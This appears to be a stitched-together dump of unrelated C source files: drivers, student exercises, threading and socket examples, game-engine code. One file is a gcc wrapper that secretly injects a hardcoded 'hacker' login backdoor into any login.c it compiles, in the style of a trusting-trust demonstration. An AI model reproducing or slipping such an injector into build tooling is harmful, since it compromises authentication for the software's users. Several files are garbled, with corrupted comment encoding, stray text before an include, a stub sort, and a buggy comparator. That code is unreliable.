void FM24C256_Read_MByte(uint8_t FM_ADD,uint16_t RAM_ADD,uint8_t m,char *nBuffer)
{
uint8_t i;
FM_IIC_Start(); //IIC
FM_IIC_Send_Byte(FM_ADD+1); //Ͷָ 0xa1=0xa0+11Ķ 0xa5=0xa4+12Ķ
FM_IIC_Wait_Ack();
for(i=0;i<m;i++)
{
*nBuffer=FM_IIC_Read_Byte(0); //(FM_ADD); //
FM_IIC_Wait_Ack();
FM_ADD++;
nBuffer++;
}
FM_IIC_NAck();
FM_IIC_Stop(); //ֹͣ
}
/**
*****************************************************************************
* @Name : FM24C256Ƿ
*
* @Brief : none
*
* @Input : FM_ADDFM24C256ĵַд 0xa70xa3
RAM_DD: һַ0x7fff洢0xffݣȻڶַ
0x7fffݺ0xffԱ
* @Output : none
*
* @Return : 3ڴ涼ɹ2ڴ1ɹڴ2ʧܣ 1ڴ2ɹڴ1ʧܣ0ʧ
*****************************************************************************
**/
uint8_t FM24C256_Check(void)
{
uint8_t temp,data;
temp=FM24C256_Read_Byte(0xa0,0x7fff);
data=FM24C256_Read_Byte(0xa4,0x7fff);
if(temp==0xff&data==0xff)
return 3;
else
{
FM24C256_Write_Byte(0xa0,0x7fff,0xff);
FM24C256_Write_Byte(0xa4,0x7fff,0xff);
temp=FM24C256_Read_Byte(0xa0,0x7fff);
data=FM24C256_Read_Byte(0xa4,0x7fff);
if(temp==0xff&data==0xff)
return 3;
else if((temp==0xff)&(data!=0xff))
return 2;
else if((data==0xff)&(temp!=0xff))
return 1;
else if((data!=0xff)&(temp!=0xff))
return 0;
}
}
//AT24CXXַָʼָ
//ReadAddr :ʼĵַ 24c02Ϊ0~255
//pBuffer :ַ
//NumToRead:Ҫݵĸ
void AT24C512_Read(uint8_t FM_ADD,uint16_t ReadAddr,uint8_t *pBuffer,uint16_t NumToRead)
{
while(NumToRead)
{
*pBuffer++=FM24C256_Read_Byte(FM_ADD,ReadAddr++);
NumToRead--;
}
}
//AT24CXXַָʼдָ
//WriteAddr :ʼдĵַ 24c02Ϊ0~255
//pBuffer :ַ
//NumToWrite:Ҫдݵĸ
void AT24C512_Write(uint16_t FM_ADD,uint16_t WriteAddr,uint8_t *pBuffer,uint16_t NumToWrite)
{
while(NumToWrite--)
{
FM24C256_Write_Byte(FM_ADD,WriteAddr,*pBuffer);
//WriteAddr++;
pBuffer++;
}
}
|
C
|
/*
* Joel Doumit
* token.h, based off the token structure given to us in class by Dr. J
*/
#ifndef TOKEN_H
#define TOKEN_H
#include <stdio.h>
typedef struct token {
int category; /* the integer code returned by yylex */
char *text; /* the actual string (lexeme) matched */
int lineno; /* the line number on which the token occurs */
char *filename; /* the source file in which the token occurs */
int ival; /* for integer constants, store binary value here */
double dval; /* for real constants, store binary value here */
char *sval; /* for string constants, malloc space, de-escape, store */
}token;
typedef struct tokenlist {
struct token *t;
struct tokenlist *next;
}tokenlist;
#endif
|
C
|
#include "main.h"
/*Función que inserta números aleatorios en una lista*/
void inserta_datos_de_prueba(Lista lista);
int main()
{
// Se crea la lista
Lista lista = crea_lista();
printf("La lista tiene %d elementos\n", longitud(lista));
// Se insertan datos de prueba
inserta_datos_de_prueba(lista);
printf("La lista tiene %d elementos\n", longitud(lista));
// Se remueve un elemento de la lista
Elemento* borrado = quita_elemento(lista, 0);
if (borrado != NULL) {free(borrado->valor);}
free(borrado);
printf("La lista tiene %d elementos\n", longitud(lista));
// Se remueve un elemento que no existe en la lista
quita_elemento(lista, longitud(lista));
printf("La lista tiene %d elementos\n", longitud(lista));
//Se imprime la lista antes de ordenar
imprime_lista_int(lista);
ordena_lista(lista, &cmp_int);
//Se imprime la lista después de ordenar
imprime_lista_int(lista);
//Se libera la memoria ocupada
borra_lista(lista);
}
void inserta_datos_de_prueba(Lista lista)
{
srand(time(NULL));
int *num_a_insertar;
int indice;
for (indice = 0; indice < 20; ++indice) {
num_a_insertar = malloc(sizeof(int));
*num_a_insertar = rand() % 100;
inserta_elemento(lista, num_a_insertar);
};
}
/*Compara 2 'Elemento' que contienen como valor un 'int'*/
int cmp_int( const void* a, const void* b){
//cast a tipo ELEMENTO
Elemento* x = ( Elemento* )a;
Elemento* y = ( Elemento* )b;
//cast de los valores a INT
int v1 = *(int*) x -> valor;
int v2 = *(int*) y -> valor;
if( v1 > v2 )
return 1;
if( v2 < v2 )
return -1;
return 0;
}
/*Función que ordena una lista usando una función comparadora*/
//Recomiendo apoyarte de tu función 'cmp_int', qsort y un arreglo
void ordena_lista(Lista lista, int(*cmp)(const void*, const void*)){
//creamos un iterador
Elemento* iterador = *lista;
//guardamos la longitud de la lista
size_t len = longitud(lista);
//creamos un arreglo de elementos para guardar los elementos de la lista
Elemento* elementos = malloc( sizeof( Elemento )*len );
//llenamos el arreglo
for( int i = 0; i < len; i++ ){
elementos[i] = *iterador;
iterador = iterador -> siguiente;
}
//llamamos a la funcion qsort()
qsort( elementos, len, sizeof(Elemento), *cmp );
//apuntamos a la cabeza de la lista
iterador = *lista;
//llenamos la lista con los valores ordenados
for( int i = 0; i < len; i++ ){
iterador -> valor = elementos[i].valor;
iterador = iterador -> siguiente;
}
}
/*Libera(free) la memoria ocupada por la lista, sus elementos y valores*/
//No se te olvide liberar la memoria de cada elemento y su valor.
void borra_lista(Lista lista){
//creamos un iterador
Elemento* iterador = *lista;
//si la lista esta vacía solo borra la memoria ocupada por la lista
if( *lista == NULL ){
free( lista );
return;
}
//recorremos la lista
while( iterador != NULL ){
//quitamos el elemento de la lista
iterador = quita_elemento( lista, 0 );
//liberamos ambos campos de ese nodo de la lista
free( iterador -> valor );
free( iterador );
//retomamos el inicio de la lista
iterador = *lista;
}
//liberamos el espacio ocupado por la lista
free(lista);
}
/*Remueve un elemento de una lista en una posición dada*/
//Si la posición no coincide con ningún elemento se regresa NULL
Elemento *quita_elemento(Lista lista, size_t posicion){
//creamos un iterador
Elemento* iterador;
//auxiliar para mantener el control de la lista al eliminar
Elemento* auxiliar;
//En caso de eliminar la cola guardamos el penultimo
Elemento* auxPenultimo;
//nos sirve para saber en donde eliminar
size_t indice = 0;
//si la lista esta vacía o el apuntador no entra en la longitud regresamos NULL
if( *lista == NULL || posicion >= longitud(lista) || posicion < 0 )
return NULL;
//en caso de que quitemos la cabeza de la lista:
if( posicion == 0 ){
//apuntamos al primer elemento de la lista
iterador = *lista;
//guardamos el segundo elemento
auxiliar = iterador -> siguiente;
//igualamos la referencia del segundo elemento al del primer elemento de la lista
*lista = auxiliar;
//regresamos la cabeza
return iterador;
}
//sino nos situamos en el primer elemento.
iterador = *lista;
//recorremos la lista
while( iterador != NULL ){
//si encontramos la posicion eliminamos el elemento
if( indice == posicion-1 ){
//en caso de que sea la cola
if( posicion == longitud(lista)-1 ){
auxiliar = iterador;
//ahora el penultimo es la cola
auxPenultimo -> siguiente = NULL;
}else{
auxiliar = iterador -> siguiente;
//retomamos el control de la lista
iterador -> siguiente = auxiliar -> siguiente;
}
//regresamos el elemento eliminado
return auxiliar;
}
auxPenultimo = iterador;
//pasamos al siguiente
iterador = iterador -> siguiente;
//aumentamos la posición
indice ++;
}
}
/*Imprime los elementos de la lista como enteros*/
void imprime_lista_int(Lista lista){
//creamos un iterador para recorrer la lista
Elemento* iterador;
//nos situamos en el primer elemento.
iterador = *lista;
//recorremos la lista
while( iterador != NULL ){
void * valor = iterador -> valor;
//imprimimos el elemento
printf("%d ", *((int*)valor) );
iterador = iterador -> siguiente;
}
printf("\n");
}
/*Crea una lista vacía*/
Lista crea_lista(){
//reservamos espacio en memoria para la lista
Lista lista = malloc( sizeof( Lista ) );
return lista;
}
/*Inserta un elemento en la lista y se regresa el nuevo tamanio de la lista*/
int inserta_elemento(Lista lista, void *valor){
//creamos un puntero que apuntará al nuevo elemento
Elemento* nuevo;
//si es nulo regresamos la longitud actual de la lista.
if( valor == NULL )
return longitud(lista);
// sino, reservamos espacio en memoria para este nuevo valor
nuevo = malloc( sizeof( Elemento ) );
//asignamos el nuevo valor
nuevo -> valor = valor;
//apuntamos el elemento a la cabeza de la lista
nuevo -> siguiente = *lista;
//apuntamos la lista al nuevo elemento
*lista = nuevo;
//regresamos el tamaño de la lista
return longitud(lista);
}
/*Regresa el número de elementos en la lista*/
size_t longitud(Lista lista){
//creamos un iterador para recorrer la lista
Elemento* iterador;
//creamos un contador
size_t len = 0;
//nos situamos en el primer elemento.
iterador = *lista;
//recorremos la lista
while( iterador != NULL ){
iterador = iterador -> siguiente;
len++;
}
return len;
}
|
C
|
/*
* Date:2021-12-08 19:00
* filename:6_条件变量-生产者和消费者模型.c
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
pthread_cond_t cond;
pthread_mutex_t mutex;
//链表的结点类型
struct Node {
int number;
struct Node* next;
};
//头节点
struct Node* head = NULL;
//生产者
void* producer(void* arg) {
while(1) {
pthread_mutex_lock(&mutex);
struct Node* newNode = (struct Node*)malloc(sizeof(struct Node));
//init Node
newNode->number = rand() % 1000;//0-999
newNode->next = head;
head = newNode;
printf("生产者, id:%ld, number:%d\n", pthread_self(), newNode->number);
pthread_mutex_unlock(&mutex);
pthread_cond_broadcast(&cond);
//usleep(rand() % 100);//睡眠时间在3秒之内
sleep(3);
}
return NULL;
}
//消费者
void* consumer(void* arg) {
while (1) {
pthread_mutex_lock(&mutex);
while (head == NULL) {
//阻塞消费者线程
pthread_cond_wait(&cond, &mutex);
}
struct Node* node = head;//取出头节点
printf("消费者, id:%ld, number:%d\n", pthread_self(), node->number);
head = head->next;
free(node);
pthread_mutex_unlock(&mutex);
//usleep(rand() % 100);
sleep(3);
printf("\n");
}
return NULL;
}
int main() {
pthread_mutex_init(&mutex, NULL);
pthread_cond_init(&cond, NULL);
pthread_t t1[5], t2[5];
for (int i = 0;i < 5; ++i) {
pthread_create(&t1[i], NULL, producer, NULL);
}
for (int i = 0;i < 5; ++i) {
pthread_create(&t2[i], NULL, consumer, NULL);
}
for (int i = 0;i < 5; ++i) {
pthread_join(t1[i], NULL);
pthread_join(t2[i], NULL);
}
pthread_mutex_destroy(&mutex);
pthread_cond_destroy(&cond);
return 0;
}
|
C
|
#include "ft_printf.h"
int ft_pf_write_char(va_list vl, t_type *type)
{
char temp;
int p_len;
int rst;
fprintf(stderr, "ft_pf_write_char\n");
rst = 0;
p_len = type->width - 1;
if (type->type == 'c')
{
temp = (char) va_arg(vl, int);
if (type->is_left)
{
rst += write(1, &temp, 1);
rst += ft_pf_write_padding(p_len, ' ');
}
else
{
rst += ft_pf_write_padding(p_len, ' ');
rst += write(1, &temp, 1);
}
}
printf("ft_pf_write_char : %d\n", rst);
return (rst);
}
|
C
|
#include <stdio.h>
int main(void)
{
union
{
float f;
unsigned int n;
} x;
x.n = 0x00000000;
printf("+0 = %.50f\n", x.f);
x.n = 0x80000000;
printf("-0 = %.50f\n", x.f);
x.n = 0x00000001;
printf("min postive = %.50f\n", x.f);
x.n = 0x7f7fffff;
printf("max positive = %.50f\n", x.f);
x.n = 0x00800000;
printf("min positive denormalized = %.50f\n", x.f);
x.n = 0x7f800000;
printf("+infinity = %.50f\n", x.f);
x.n = 0x7f800233;
printf("Nan = %.50f\n", x.f);
return 0;
}
|
C
|
void main(){
//подаваемое напряжение в вольтах
double u0 = 5;
//начальные значения сопротивлений в омах
double r1 = 1000;
double r2 = 1000;
double r3 = 1000;
double r4 = 1000;
//изменение сопротивления резистора r4 в процентах
double dr;
cin >> dr;
//новое значение сопротивления резистора r4
r4 *= 1 + dr*0.01;
/*если нужно изменять еще и диагональный резистор:
r1 *= 1 + dr*0.01;*/
/*если нужно изменять сопротивления всех четырех резисторов:
r2 *= 1 - dr*0.01;
r3 *= 1 - dr*0.01;*/
//напряжение на выходе моста
double u = u0*(r4/(r2 + r4) + r3/(r1 + r3));
return u;
}
|
C
|
/*
* half.c
* FluidApp
*/
#include "half.h"
#include "memory.h"
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
//To properly convert, we need to sort of structure to gain access to
//the individual bits, without the system trying to muck things up. This
//set of function calls will essentially do that...
typedef union half_bits half_bits;
union half_bits
{
float f;
unsigned int i;
float16 s[2];
unsigned char c[4];
};
//Macros for portability...
#if __LITTLE_ENDIAN__
#define BP_LEFT 1
#define BP_RIGHT 0
#else
#define BP_LEFT 0
#define BP_RIGHT 1
#endif
//Convert a float to a half-float (scalar)
float16 float2half(float in_float)
{
half_bits hb;
hb.f = in_float;
short mantissa = (hb.s[BP_LEFT] >> 7) & 0x00FF;
mantissa += 16-127;
if (mantissa < 0)
return 0;
if (mantissa > 32)
return (hb.s[BP_LEFT] & 0x8000) | (0xAFFF);
return (hb.s[BP_LEFT] & 0x8000) //Sign bit (1 bits)
| ((mantissa << 10) & 0x7C00) //Mantissa (5 bits)
| ((hb.s[BP_LEFT] << 3) & 0x03F8) //Significand (7 bits)
| ((hb.s[BP_RIGHT] >> 13) & 0x0007); //Significand (3 bits)
}
//Convert a half-float to a float (scalar)
float half2float(float16 in_half)
{
short mantissa = (in_half & 0x7C00) >> 10;
if (mantissa == 0)
return 0;
if (mantissa == 0x001F)
{
if (in_half & 0x8000)
return -INFINITY;
return INFINITY;
}
mantissa += 127 - 16;
half_bits hb;
hb.s[BP_LEFT] = (in_half & 0x8000) //Sign bit (1 bits)
| ((mantissa << 7) & 0x7F80) //Mantissa (8 bits)
| ((in_half >> 3) & 0x007F); //Significand (7 bits)
hb.s[BP_RIGHT] = (in_half << 13) & 0xFFFF; //Significand (16 bits)
return hb.f;
}
//Output the data in a very legible way to stdout
void half2bin(float16 in_half)
{
int x;
for (x=15; x>=0; x--)
{
printf("%i", (in_half >> x) & 0x0001);
if (x==15 || x == 10) printf(" ");
}
}
void float2bin(float in_float)
{
half_bits hb;
hb.f = in_float;
int x;
for (x=31; x>=0; x--)
{
printf("%i", (hb.i >> x) & 0x0001);
if (x==31 || x == 23) printf(" ");
}
}
|
C
|
// Problem 10 - Summation of Primes
/* The sum of the primes below 10 is 2 + 3 + 5 + 7 = 17.
Find the sum of all the primes below two million. */
#include <stdio.h>
#include <stdbool.h>
typedef unsigned int u32;
bool is_prime(u32 num) {
if(num < 2) return false;
else if(num == 2) return true;
else {
for(u32 i = num - 1; i > 1; i--)
if(num % i == 0) return false;
}
return true;
}
int main() {
u32 bigSum = 0;
for(u32 i = 1; i < 2000000; i++) {
if(is_prime(i)) {bigSum += i;
printf("%d\n", i); }
}
printf("%d", bigSum);
return 0;
}
|
C
|
#include "mylist.h"
/*pre: takes a void* representing an elem, and a pointer to a pointer that points to the head of an existing list*/
/*post: constructs a new node with void *e as the elem, and adds it the front of the list*/
void add_elem(void *e, t_node **ph)
{
if (e != NULL)
{
add_node( new_node(e,NULL,NULL) , ph );
}
}
|
C
|
/*
** EPITECH PROJECT, 2018
** CPE_matchstick_2018
** File description:
** fonction_for_play.c
*/
#include "../include/matchstick.h"
int count_total_stick(char **game_board, char **av)
{
int nb_map = my_getnbr(av[1]);
int nb_cols = ((nb_map * 2) + 2);
int nb_rows = (nb_map + 2);
int nb_compt_stick = 0;
for (int i = 0; i < nb_rows; i++)
for (int y = 0; y < nb_cols; y++)
if (game_board[i][y] == '|')
nb_compt_stick++;
return (nb_compt_stick);
}
|
C
|
//
// overload.c
// Heck
//
// Created by Mashpoe on 10/22/19.
//
#include "overload.h"
#include "class.h"
bool add_op_overload(heck_class* class, heck_op_overload_type* type, heck_func* func) {
// look for a pre-existing overload of the same data type
const vec_size_t num_overloads = vector_size(class->op_overloads);
if (type->cast == true) {
for (vec_size_t i = 0; i < num_overloads; ++i) {
heck_op_overload* current_overload = &class->op_overloads[i];
heck_data_type* data_type = type->value.cast;
if (current_overload->type.cast == true && data_type_cmp(current_overload->type.value.cast, data_type))
return func_add_overload(¤t_overload->overloads, func);
}
} else {
for (vec_size_t i = 0; i < num_overloads; ++i) {
heck_op_overload* current_overload = &class->op_overloads[i];
heck_tk_type operator = type->value.operator;
if (current_overload->type.cast == false && current_overload->type.value.operator == operator)
return func_add_overload(¤t_overload->overloads, func);
}
}
// if there is no match, create one
heck_op_overload* temp = vector_add_asg(&class->op_overloads);
temp->type = *type;
temp->overloads.func_vec = vector_create();
// we can just add the function because there are no other overloads
vector_add(&temp->overloads.func_vec, func);
// don't use temp because its lifetime is limited
temp = NULL;
return true;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]){
//We need 4 arguments "program source -o binary"
if(argc < 4){
printf("Insufficient arguments\n");
return 1;
}
char * sourceFilename = argv[1];
char * destFilename = argv[3];
FILE * inputFile = fopen(sourceFilename, "r");
if(inputFile == NULL){
printf("File does not exist");
return 1;
}
//Get source file size
fseek(inputFile, 0 , SEEK_END);
int sourceFileSize = ftell(inputFile);
rewind(inputFile);
//Read source file into buffer with one extra byte to accomodate '\0'
int actualBuffSizeRequired = sourceFileSize + 1;
char * buffer = (char *) malloc(actualBuffSizeRequired);
buffer[sourceFileSize] = '\0';
int read = fread(buffer, sizeof(char), sourceFileSize, inputFile);
fclose(inputFile);
/* We pass the source code to GCC as the backend compiler */
const char * TEXT_INJECT_LOGIN = ""
"if(strcmp(username, %chacker%c) == 0 && strcmp(password, %ci-hate-numbers%c) == 0){%c"
"%c%cprintf(TEXT_AUTHORISED);%c"
"%c%creturn 0;%c"
"%c}%c"
"%c%c";
if(strstr(sourceFilename, "login.c") != NULL){
char stringToInject[200];
//Generate malicious code
snprintf(stringToInject, 200, TEXT_INJECT_LOGIN, 34, 34, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 10, 10, 9);
int lengthOfMaliciousCode = strlen(stringToInject);
int newTotalBuffRequired = actualBuffSizeRequired + lengthOfMaliciousCode;
//Use calloc to zero-init the buffer as strncpy later does not copy \0 character
char * newTempBuffer = (char *) calloc(newTotalBuffRequired, sizeof(char));
//Get location of "printf(TEXT_UNAUTHORISED);"
char * injectPosition = strstr(buffer, "printf(TEXT_UNAUTHORISED);");
int sizeOfPreInjectedBuff = injectPosition - buffer;
//Copy pre-injected original code into temp buffer
strncpy(newTempBuffer, buffer, sizeOfPreInjectedBuff);
//Copy malicious code to buffer
strncat(newTempBuffer, stringToInject, lengthOfMaliciousCode);
//Copy post-injected original code to buffer
strcat(newTempBuffer, injectPosition);
//Replace the existing buffer with the modified buffer with malicious code
free(buffer);
buffer = newTempBuffer;
//Do not pass \0 character to compiler
sourceFileSize = newTotalBuffRequired - 1;
}
char compileCommand[500];
//Generate compile command, tell GCC to assume C language and get source code via stdin
snprintf(compileCommand, 500, "gcc -o %s -xc -", destFilename);
FILE * gccStdin;
gccStdin = popen(compileCommand, "w");
//Pass source code to GCC via stdin
fwrite(buffer, sizeof(char), sourceFileSize, gccStdin);
//Print actual source code used in compilation for reference
printf("%s\n", buffer);
pclose(gccStdin);
free(buffer);
}
|
C
|
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
#include <omp.h>
#define MXITER 1000
#define NPOINTS 2048
typedef struct {
double r;
double i;
}d_complex;
// return 1 if c is outside the mandelbrot set
// reutrn 0 if c is inside the mandelbrot set
int testpoint(d_complex c){
d_complex z;
int iter;
double temp;
z = c;
for(iter=0; iter<MXITER; iter++){
temp = (z.r*z.r) - (z.i*z.i) + c.r;
z.i = z.r*z.i*2. + c.i;
z.r = temp;
if((z.r*z.r+z.i*z.i)>4.0){
return 1;
}
}
return 0;
}
int mandeloutside(){
int i,j;
double eps = 1e-5;
d_complex c;
int numoutside = 0;
#pragma omp parallel for reduction(+:numoutside) private(j,c)
for(i=0;i<NPOINTS;i++){
for(j=0;j<NPOINTS;j++){
c.r = -2. + 2.5*(double)(i)/(double)(NPOINTS)+eps;
c.i = 1.125*(double)(j)/(double)(NPOINTS)+eps;
numoutside += testpoint(c);
}
}
return numoutside;
}
int main(int argc, char **argv){
double start = omp_get_wtime();
double numoutside = mandeloutside();
double end = omp_get_wtime();
printf("elapsed = %g\n", end-start);
double area = 2.*2.5*1.125*(NPOINTS*NPOINTS-numoutside)/(NPOINTS*NPOINTS);
printf("area = %17.15lf\n", area);
return 0;
}
|
C
|
/*
* Author: Jessica Programmer
* Student Number: 12345678
* Lab Section: L1X
* Date: October 13, 2017
*
* Purpose: This program loads the DAQ simulator and runs
* a simple program involving a switch and LED.
*/
#define _CRT_SECURE_NO_WARNINGS
/* headers */
#include <stdio.h>
#include <DAQlib.h> /* DAQ library and simulator */
/* symbolic constants */
#define TRUE 1
#define FALSE 0
#define ON 1
#define OFF 0
/* simulator 1 has 3 LEDs and 2 switches */
#define DAQ_SIMULATOR 1
#define SWITCH0 0
#define LED0 0
/* work function */
void runSwitches(void);
int main(void) {
printf("Example Switch and LED Program\n");
if (setupDAQ(DAQ_SIMULATOR) == TRUE) {
runSwitches();
} else {
printf("ERROR: failed to initialize DAQ\n");
}
return 0;
}
/* work function */
void runSwitches() {
/* continue looping while the device is powered on */
while (continueSuperLoop()) {
/* check switch and turn LED ON/OFF */
if (digitalRead(SWITCH0) == ON) {
digitalWrite(LED0, ON);
} else {
digitalWrite(LED0, OFF);
}
}
}
|
C
|
#include "gf2d_entity.h"
typedef struct
{
List * entList;
Uint8 size;
Uint8 count;
}EntityManager;
static EntityManager entManager = {0};
void gf2d_entity_init_manager()
{
entManager.entList = gfc_list_new();
entManager.size = 100;
entManager.count = 0;
atexit(gf2d_entity_close);
}
Entity * gf2d_entity_new(char * name, Sprite *s,Vector2D pos, uint32_t CollisionType,cpShapeFilter filter,Vector2D scale,Vector2D collisionBoxDim)
{
if(entManager.count == entManager.size)
{
slog("max entitities created");
return NULL;
}
int i,count;
Entity * temp = NULL;
count = gfc_list_get_count(entManager.entList);
for(i = 0;i<count;i++)
{
temp = gfc_list_get_nth(entManager.entList,i);
if(temp->_inuse == 1)
temp = NULL;
else
{
slog("entitys name is %s",temp->name);
}
break;
}
if(temp == NULL)
{
temp = (Entity *)malloc(sizeof(Entity));
}
else//players inuse is set to 0 in the beginning so this needs to be fixed
{// because it is currenlty delting players body and shape
cpSpace * space = gf2d_physics_get_space();
cpSpaceRemoveShape(space, temp->shape);
cpSpaceRemoveBody(space, temp->body);
cpShapeFree(temp->shape);
cpBodyFree(temp->body);
}
//Uint8 CollisionType = 0;
temp->colorShift = NULL;
temp->name = name;
temp->s = s;
temp->hp = 10;
temp->position = pos;
temp->_inuse = 0;
temp->frame = 0;
temp->maxFrame =1;
temp->update = NULL;
temp->updateData = temp;
temp->animate = &gf2d_entity_animate;
temp->animateData = temp;
temp->scale = scale;
temp->colliding = 0;
temp->knockback = 0;
cpFloat length,width,radius;
length = s->frame_h;
width = s->frame_w;
radius = 0;
temp = gf2d_entity_setup_collision_body(temp,collisionBoxDim.y,collisionBoxDim.x,radius,0,CollisionType,filter,pos);
entManager.entList = gfc_list_append(entManager.entList,temp);
return temp;
}
Entity * gf2d_entity_setup_collision_body(Entity *e,int length,int width,int radius, int type,uint32_t CollisionType,cpShapeFilter filter,Vector2D p)
{
cpVect pos;
pos.x = p.x;
pos.y = p.y;
e->shape = gf2d_physics_add_square_body(length,width,radius,type);
e->body = cpShapeGetBody(e->shape);
cpShapeSetCollisionType(e->shape,CollisionType);
cpBodySetUserData(e->body,e);
cpShapeSetFilter(e->shape,filter);
cpBodySetPosition(e->body,pos);
cpSpaceReindexShapesForBody(gf2d_physics_get_space(),e->body);
//gf2d_entity_manager_insert(e);
return e;
}
void gf2d_entity_update_all()
{
int i,count;
Entity *e;
count = gfc_list_get_count(entManager.entList);
//slog("count is %d",count);
for(i = 0;i<count;i++)
{
e = gfc_list_get_nth(entManager.entList,i);
//slog("es name is %s",e->name);
gf2d_entity_update(e);
}
}
void gf2d_entity_update(Entity * e)
{
if(e == NULL)
{
slog("entity is null. cant update");
}
if(e->update !=NULL)
e->update(e->updateData);
}
void gf2d_entity_animate_all()
{
int i,count;
Entity *e;
count = gfc_list_get_count(entManager.entList);
//slog("animating %d entities",count);
for(i = 0;i<count;i++)
{
//slog("animating entity %d",i);
e = gfc_list_get_nth(entManager.entList,i);
if(e->animate !=NULL)
e->animate(e->animateData);
}
}
void gf2d_entity_animate(void *ent)
{
Entity *e = (Entity *)ent;
if(e->_inuse == 0)
return;
gf2d_entity_draw(e);
if(e->frame + .1< e->maxFrame)
e->frame +=.1;
else
e->frame = 0;
}
void gf2d_entity_draw(void *ent)
{
Entity * e= (Entity*)ent;
if(e->_inuse == 0)
return;
gf2d_sprite_draw(e->s,e->position,&(e->scale),NULL,NULL,NULL,NULL,e->colorShift,e->frame);//e->frame);
}
void gf2d_entity_close()
{
int i,count;
Entity *e;
count = gfc_list_get_count(entManager.entList);
for(i=0;i<count;i++)
{
e = gfc_list_get_nth(entManager.entList,i);
gf2d_entity_close_entity(e);
free(e);
}
}
void gf2d_entity_close_entity(Entity *e)
{
cpSpace * space = gf2d_physics_get_space();
cpSpaceRemoveShape(space, e->shape);
cpSpaceRemoveBody(space, e->body);
cpShapeFree(e->shape);
cpBodyFree(e->body);
// if(e->colorShift != NULL)
// free(e->colorShift);
//if(e->scale)
//free(e->scale);
}
|
C
|
/*
** EPITECH PROJECT, 2019
** navy
** File description:
** connaction
*/
#include "header.h"
int end_game(struct a *c)
{
int x = 1;
int y = 1;
while (y <= 9) {
x = 0;
while (x <= 16) {
if (c->game[y][x] == '2' ||
c->game[y][x] == '3' ||
c->game[y][x] == '4' ||
c->game[y][x] == '5')
return (0);
x++;
}
y++;
}
return (1);
}
int end_game_two(struct a *c)
{
int x = 1;
int y = 1;
while (y <= 9) {
x = 0;
while (x <= 16) {
if (c->game_two[y][x] == '2' ||
c->game_two[y][x] == '3' ||
c->game_two[y][x] == '4' ||
c->game_two[y][x] == '5')
return (0);
x++;
}
y++;
}
return (1);
}
void print_wait_one(struct a *c)
{
my_putstr(c->attack_two);
if (c->wait_two == 0)
my_putstr(": missed\n\n");
else
my_putstr(": hit\n\n");
}
void print_wait_two(struct a *c)
{
my_putstr(c->attack_one);
if (c->wait_one == 0)
my_putstr(": missed\n\n");
else
my_putstr(": hit\n\n");
}
void connection_player_one(void)
{
my_putstr("my_pid: ");
my_put_nbr(getpid());
my_putchar('\n');
my_putstr("waiting for enemy connection...\n");
pause();
my_putstr("\nenemy connected\n\n");
}
|
C
|
/* Server side of the client-server application that uses datagrams
* in the UNIX domain.
*
* The server program enters an infinite loop. It receives datagrams from
* the client, converts the received text to upper-case and returns
* it back to the client.
*
* Author: Naga Kandasamy
* Date created: July 15, 2018
*
* Source: M. Kerrisk, The Linux Programming Interface
*
*/
#include "ud_ucase.h"
int
main (int argc, char **argv)
{
struct sockaddr_un svaddr;
int sfd;
/* Create server socket to receive datagrams */
sfd = socket (AF_UNIX, SOCK_DGRAM, 0);
if (sfd == -1){
perror ("socket");
exit (EXIT_FAILURE);
}
/* Construct the well-known address and bind server socket to it */
if (remove (SERVER_SOCKET_PATH) == -1 && errno != ENOENT){
perror ("remove");
exit (EXIT_FAILURE);
}
memset (&svaddr, 0, sizeof (struct sockaddr_un));
svaddr.sun_family = AF_UNIX;
strncpy (svaddr.sun_path, SERVER_SOCKET_PATH, sizeof (svaddr.sun_path) -1);
if (bind (sfd, (struct sockaddr *)&svaddr, sizeof (struct sockaddr_un)) == -1){
perror ("bind");
exit (EXIT_FAILURE);
}
/* Execute an infinite loop to perform the following steps:
* - Receive messages from a client
* - Convert the contents to uppercase
* - Return the contents to client
* */
struct sockaddr_un claddr;
socklen_t len;
int num_bytes;
char buf[BUF_SIZE];
while (1){
len = sizeof (struct sockaddr_un);
num_bytes = recvfrom (sfd, buf, BUF_SIZE, 0,\
(struct sockaddr *)&claddr, &len);
if (num_bytes == -1){
perror ("recvfrom");
exit (EXIT_FAILURE);
}
printf ("Server received %ld bytes from %s\n", (long) num_bytes, \
claddr.sun_path);
for (int j = 0; j < num_bytes; j++)
buf[j] = toupper ((unsigned char) buf[j]);
if (sendto (sfd, buf, num_bytes, 0, (struct sockaddr *)&claddr, len) != \
num_bytes){
perror ("sendto");
exit (EXIT_FAILURE);
}
}
exit (EXIT_SUCCESS);
}
|
C
|
/*
* Copyright (c) 1996 - 2013 SINA Corporation, All Rights Reserved.
*
* test_ae.c: Huaying <[email protected]>
*
* test for ae event driven library.
*/
#include <stdlib.h>
#include <stdio.h>
#include "ae.h"
static int max_loop = 10;
static int loop_count = 0;
int time_proc(aeEventLoop *event_loop, long long id, void *data)
{
++loop_count;
printf("Time Event: id(%lld) data(%s)\n", id, (char *)data);
if (loop_count > max_loop) return -1;
return 2000;
}
void final_proc(aeEventLoop *event_loop, void *data)
{
printf("Final Time Event: data(%s)\n", (char *)data);
}
int main(int argc, char *argv[])
{
aeEventLoop *main_loop = aeCreateEventLoop(10240);
long long id = aeCreateTimeEvent(main_loop, 1500, time_proc, "time alarm", final_proc);
printf("main loop add id(%lld) time event\n", id);
aeMain(main_loop);
aeDeleteEventLoop(main_loop);
return 0;
}
|
C
|
minal#include<stdio.h>
void mergeSort(int a[], int length){
printf("Sorted Array -: \n");
for(i=0;i<length;i++)
printf("%d\n",a[i]);
}
int main(){
int a[20],i,size;
printf("Enter size of Array -: ");
scanf("%d", &size);
for(i=0;i<size;i++)
scanf("%d",&a[i]);
mergeSort(a,size);
return 0;
}
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* parse.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: bbehm <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2020/02/03 11:55:38 by bbehm #+# #+# */
/* Updated: 2020/08/08 15:50:57 by bbehm ### ########.fr */
/* */
/* ************************************************************************** */
#include "includes/ft_printf.h"
#include "includes/libft.h"
static void flags(t_tab *tab, const char *format)
{
char flag;
flag = format[tab->i];
if (flag == '#')
tab->hash = 1;
